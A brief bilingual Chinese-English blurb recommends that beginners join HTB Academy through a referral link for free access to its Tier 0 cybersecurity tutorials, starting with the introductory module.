新手非常推薦 : 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。
使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)
Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)